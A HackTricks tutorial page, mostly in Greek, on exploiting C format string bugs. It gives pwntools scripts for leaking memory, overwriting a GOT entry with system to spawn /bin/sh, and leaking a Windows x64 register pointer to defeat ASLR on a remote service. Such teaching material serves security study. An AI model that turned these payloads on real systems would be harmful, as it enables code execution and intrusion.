Format Strings
Reading time: 11 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Στη C printf
είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να εκτυπώσει μια συμβολοσειρά. Ο πρώτος παράμετρος που αναμένει αυτή η συνάρτηση είναι το raw text με τους formatters. Οι επόμενοι παράμετροι που αναμένονται είναι οι τιμές που θα αντικαταστήσουν τους formatters στο raw text.
Άλλες ευάλωτες συναρτήσεις είναι οι sprintf()
και fprintf()
.
Η ευπάθεια προκύπτει όταν ένα attacker text χρησιμοποιείται ως το πρώτο όρισμα σε αυτή τη συνάρτηση. Ο attacker θα μπορεί να κατασκευάσει ένα ειδικό input που καταχράται τις δυνατότητες της printf format string για να διαβάσει και να γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/εγγράψιμη). Με αυτόν τον τρόπο μπορεί να εκτελέσει αυθαίρετο κώδικα.
Formatters:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Παραδείγματα:
- Ευάλωτο παράδειγμα:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Κανονική χρήση:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Με Ελλιπή Ορίσματα:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf vulnerable:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Πρόσβαση σε Δείκτες
Η μορφή %<n>$x
, όπου n
είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από το stack). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από το stack χρησιμοποιώντας printf μπορείτε να κάνετε:
printf("%x %x %x %x")
και θα διαβάζατε από την πρώτη μέχρι την τέταρτη παράμετρο.
Ή μπορείτε να κάνετε:
printf("%4$x")
και να διαβάσει άμεσα το τέταρτο.
Notice that the attacker controls the printf
parameter, which basically means that his input is going to be in the stack when printf
is called, which means that he could write specific memory addresses in the stack.
caution
An attacker controlling this input, will be able to add arbitrary address in the stack and make printf
access them. In the next section it will be explained how to use this behaviour.
Arbitrary Read
Είναι δυνατό να χρησιμοποιηθεί ο formatter %n$s
ώστε το printf
να πάρει την address που βρίσκεται στη θέση n, να την ακολουθήσει και να την εκτυπώσει σαν να ήταν string (εκτυπώνει μέχρι να βρεθεί 0x00). Έτσι, αν η base address του binary είναι 0x8048000
, και ξέρουμε ότι η είσοδος χρήστη ξεκινά στην 4η θέση στο stack, είναι δυνατό να εκτυπώσουμε την αρχή του binary με:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή του input επειδή το string θα κοπεί σε 0x00 στο τέλος αυτής της διεύθυνσης.
Βρείτε το offset
Για να βρείτε το offset προς το input σας μπορείτε να στείλετε 4 ή 8 bytes (0x41414141
) ακολουθούμενα από %1$x
και να αυξήσετε την τιμή μέχρι να ανακτήσετε τα A's
.
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Πόσο χρήσιμο
Arbitrary reads can be useful to:
- Dump the binary from memory
- Access specific parts of memory where sensitive info is stored (like canaries, encryption keys or custom passwords like in this CTF challenge)
Arbitrary Write
Ο formatter %<num>$n
γράφει τον αριθμό των γραμμένων bytes στη διεύθυνση που υποδεικνύεται από την παράμετρο %<num>$n
να γράψει έναν arbitrary αριθμό σε μια arbitrary διεύθυνση.
Ευτυχώς, για να γράψεις τον αριθμό 9999, δεν χρειάζεται να προσθέσεις 9999 "A"s στην είσοδο — αντί γι' αυτό είναι δυνατό να χρησιμοποιήσεις τον formatter %.<num-write>%<num>$n
για να γράψεις τον αριθμό <num-write>
στη διεύθυνση που δείχνει η θέση num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως 0x08049724
(η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί μονομιάς), χρησιμοποιείται $hn
αντί για $n
. Αυτό επιτρέπει να γραφτούν μόνο 2 Bytes. Επομένως αυτή η λειτουργία γίνεται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
Επομένως, αυτή η ευπάθεια επιτρέπει να γράψετε οτιδήποτε σε οποιαδήποτε διεύθυνση (arbitrary write).
Σε αυτό το παράδειγμα, ο στόχος θα είναι να επαναγραφεί η διεύθυνση μιας συνάρτησης στον πίνακα GOT που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες arbitrary write to exec τεχνικές:
Θα επαναγράψουμε μια συνάρτηση που λαμβάνει τα ορίσματά της από τον χρήστη και θα την δείξουμε στη συνάρτηση system
.
Όπως αναφέρθηκε, για να γραφτεί η διεύθυνση, συνήθως χρειάζονται 2 βήματα: Πρώτα γράφεις 2Bytes της διεύθυνσης και μετά τα άλλα 2. Για αυτό χρησιμοποιείται $hn
.
- HOB αναφέρεται στα 2 υψηλότερα bytes της διεύθυνσης
- LOB αναφέρεται στα 2 χαμηλότερα bytes της διεύθυνσης
Τότε, λόγω του τρόπου που δουλεύει ένα format string, χρειάζεται να γράψεις πρώτα το μικρότερο από [HOB, LOB] και μετά το άλλο.
If HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
If HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools Πρότυπο
Μπορείτε να βρείτε ένα πρότυπο για να προετοιμάσετε ένα exploit για αυτό το είδος ευπάθειας στο:
Ή αυτό το βασικό παράδειγμα από here:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
Είναι δυνατό να καταχραστεί κανείς τις write actions μιας format string vulnerability για να write in addresses of the stack και να εκμεταλλευτεί έναν τύπο ευπάθειας buffer overflow.
Windows x64: Format-string leak to bypass ASLR (no varargs)
Σε Windows x64 οι πρώτες τέσσερις integer/pointer παράμετροι μεταβιβάζονται σε registers: RCX, RDX, R8, R9. Σε πολλά buggy call-sites το attacker-controlled string χρησιμοποιείται ως format argument αλλά δεν παρέχονται variadic arguments, για παράδειγμα:
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
Επειδή δεν περνάνε varargs, οποιαδήποτε μετατροπή όπως "%p", "%x", "%s" θα προκαλέσει το CRT να διαβάσει το επόμενο variadic όρισμα από τον κατάλληλο register. Με το Microsoft x64 calling convention η πρώτη τέτοια ανάγνωση για "%p" προέρχεται από R9. Οποιαδήποτε παροδική τιμή βρίσκεται στο R9 στο call-site θα τυπωθεί. Στην πράξη αυτό συχνά leaks έναν σταθερό in-module pointer (π.χ., έναν pointer σε ένα local/global object που προηγουμένως τοποθετήθηκε στο R9 από περιβάλλοντα κώδικα ή μια callee-saved τιμή), ο οποίος μπορεί να χρησιμοποιηθεί για να ανακτηθεί το module base και να παρακαμφθεί το ASLR.
Practical workflow:
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
- Capture the leaked pointer, προσδιορίστε το static offset αυτού του object μέσα στο module (by reversing once with symbols or a local copy), και ανακτήστε το image base ως
leak - known_offset
. - Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
Example (abbreviated python):
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
Σημειώσεις:
- Η ακριβής μετατόπιση που πρέπει να αφαιρεθεί βρέθηκε μία φορά κατά το local reversing και στη συνέχεια επαναχρησιμοποιείται (ίδιο binary/version).
- Αν "%p" δεν εκτυπώσει έναν έγκυρο δείκτη στην πρώτη προσπάθεια, δοκίμασε άλλους specifiers ("%llx", "%s") ή πολλαπλές μετατροπές ("%p %p %p") για να δείξεις άλλους καταχωρητές/στοίβα επιχειρημάτων.
- Αυτό το μοτίβο είναι ειδικό για την Windows x64 calling convention και για τις printf-family implementations που ανακτούν ανύπαρκτα varargs από καταχωρητές όταν το format string τα ζητά.
Αυτή η τεχνική είναι εξαιρετικά χρήσιμη για να bootstrap ROP σε Windows services compiled με ASLR και χωρίς προφανή memory disclosure primitives.
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, βασική χρήση των format strings για να leak το flag από τη stack (χωρίς ανάγκη να αλλάξει η ροή εκτέλεσης)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string για να overwrite τη διεύθυνση
fflush
με τη win function (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string για να γράψει μια διεύθυνση μέσα στο main στο
.fini_array
(ώστε η ροή να κάνει loop άλλη μια φορά) και να γράψει τη διεύθυνση προςsystem
στον GOT πίνακα που δείχνει σεstrlen
. Όταν η ροή επιστρέψει στο main, τοstrlen
θα εκτελεστεί με είσοδο χρήστη και δείχνοντας σεsystem
, θα εκτελέσει τις δοθείσες εντολές.
References
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.